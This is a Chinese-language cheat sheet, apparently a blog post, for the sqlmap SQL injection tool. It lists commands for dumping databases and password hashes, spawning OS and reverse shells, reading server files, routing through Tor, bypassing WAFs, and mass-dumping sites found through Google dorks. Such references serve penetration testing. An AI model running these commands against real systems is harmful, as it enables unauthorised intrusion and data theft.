文章目录
SQLmap
是一款开源的自动化 SQL 注入检测和利用工具,广泛用于网络安全的渗透测试中。它支持广泛的数据库服务器,能够自动化地检测和利用大多数的 SQL 注入漏洞,以及对数据库服务器进行不同程度的访问和控制。
实际使用案例
假设你已经确定一个 URL 存在 SQL 注入漏洞,你可以使用以下命令来进一步探测和利用它:
sqlmap -u "http://example.com/index.php?id=1" --dbs
这个命令会列出所有数据库。
接下来,如果你想获取特定数据库中的所有表名:
sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables
若要导出某个表的数据:
sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump
常用命令
以下是 SQLmap 的一些重要命令和功能:
基本命令
sqlmap -u "TARGET_URL"
:对指定的 URL 进行注入测试。
数据库指纹识别
--banner
:获取数据库的详细信息。--dbms "Mysql"
:指定数据库类型。
用户信息
--users
:列出数据库中的所有用户。--current-user
:确定当前连接的数据库用户。--is-dba
:检查当前用户是否具有数据库管理员权限。
用户权限
--privileges
:列出数据库用户的权限。--privileges -U root
:查看指定用户权限。
数据库枚举
--dbs
:列出所有数据库。-D DATABASE_NAME --tables
:列出指定数据库的所有表。-D DATABASE_NAME -T TABLE_NAME --columns
:列出指定表的所有列。--start 1 --stop 20
:列出 20 条。
数据导出
-D DATABASE_NAME -T TABLE_NAME -C COLUMN_NAME --dump
:导出指定数据库、表或列的数据。
密码哈希
--passwords
:尝试获取数据库用户的密码哈希。
操作系统命令执行
--os-cmd="COMMAND"
:在支持的数据库上执行操作系统命令。--os-shell
:提供一个交互式的 shell 环境。--udf-inject
:导入用户自定义函数(获取系统权限)。--os-pwn
:反弹 shell。
文件操作
--file-read=FILE_PATH
:从数据库服务器读取文件。--file-write=FILE_PATH --file-dest=DEST_PATH
:将文件写入数据库服务器。--reg-read
:读取 win 系统注册表
代理和网络
--proxy=PROXY
:通过指定的代理服务器进行 SQLmap 的所有请求。--tor
:使用 Tor 匿名网络。--delay=DELAY_SECONDS
:设置请求之间的延迟时间。--timeout=TIMEOUT_SECONDS
:设置请求的超时时间。
参数指定
--string"STRING_ON_TRUE_PAGE"
:指定关键词。--data "id=3"
:设置post参数。--cookie "COOKIE_VALUE"
:设置cookie。--random-agent
:使用随机 User-Agent 头发送请求。--sql-shell
:执行指定 sql 命令
保存恢复
--dbs-o "sqlmap.log"
:保存进度。--dbs -o "sqlmap.log" --resume"
:恢复进度。
自动搜索注入
sqlmap -g "google 语法" --dump-all --batch
:搜索注入点自动 跑出所有字段。
智能模式
--smart
:启用智能模式,使用更少的查询来确定数据库的类型,以及数据库中表和字段的名称。
等级设置
--level
:这个选项用来定义测试的级别。
自动注入
--batch
:无需交互,自动执行。
WAF 绕过
--tamper=TAMPER_SCRIPTS
:使用篡改脚本来尝试绕过 WAF。
杂项
--beep
:发现 SQL 注入时发出蜂鸣声。--check-payload
:检查 IDS 对注入有效负载的检测。--forms
:解析和测试目标 URL 的表单。
帮助和支持
sqlmap -h
或sqlmap --help
:显示帮助信息。sqlmap -v
:显示程序的版本号。
想要成为无论多么悲伤的时候,也能够漂亮微笑的人吧。